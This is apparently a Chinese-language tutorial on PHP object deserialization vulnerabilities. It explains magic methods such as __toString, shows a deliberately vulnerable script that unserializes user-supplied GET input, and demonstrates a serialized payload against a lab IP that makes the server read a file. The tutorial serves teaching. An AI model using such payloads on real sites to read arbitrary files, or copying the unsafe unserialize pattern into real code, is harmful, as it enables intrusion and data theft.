php类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号__开头的,比如 __construct, __destruct, __toString, __sleep, __wakeup等等。这些函数在某些情况下会自动调用,比如__construct当一个对象创建时被调用,__destruct当一个对象销毁时被调用,__toString当一个对象被当作一个字符串使用。为了更好的理解magic方法是如何工作的,在2.php中增加了三个magic方法,__construct, __destruct和__toString。可以看出,__construct在对象创建时调用,__destruct在php脚本结束时调用,__toString在对象被当作一个字符串使用时调用。这些魔术函数有点类似c++里的构造函数和析构函数。而反序列化漏洞正是利用魔术函数执行脚本。
序列化函数serialize()执行的操作是保存一个类,至于为什么要保存,可以举一个简单的例子来看一下,比如php中一个脚本b需要调用上一个脚本a的数据,而脚本b需循环多次,因为脚本a执行完后其本身的数据就会被销毁,总不可能b每次循环时都执行一遍脚本a吧,serialize()就是用来保存类的数据的,而unserialize()则是将保存的类的数据转换为一个类。
知道了这些后就可以看反序列化漏洞是如何利用魔术函数的了,先来看一个例子,以下php代码保存为test.php
<?php
class FileClass
{
public $filename = 'error.log';
// 当对象被作为一个字符串会读取这个文件
public function __toString()
{
return file_get_contents($this->filename);
}
}
class User
{
// Class data
public $age = 0;
public $name = '';
// 允许对象作为一个字符串输出上面的data
public function __toString()
{
return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
}
}
// 用户可控
$obj = unserialize($_GET['usr_serialized']);
// 输出__toString
echo $obj;
?>
然后创建1.txt
然后创造利用函数1.php
<?php
include 'test.php';
$fileobj = new FileClass();
$fileobj->filename = '1.txt';
echo serialize($fileobj);
?>
new fileclass这个类时会调用_tostring()这个魔术函数,通过指定filename为1.txt
访问http://192.168.153.138/test.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:5:"1.txt";}
成功显示了1.txt的内容。利用成功。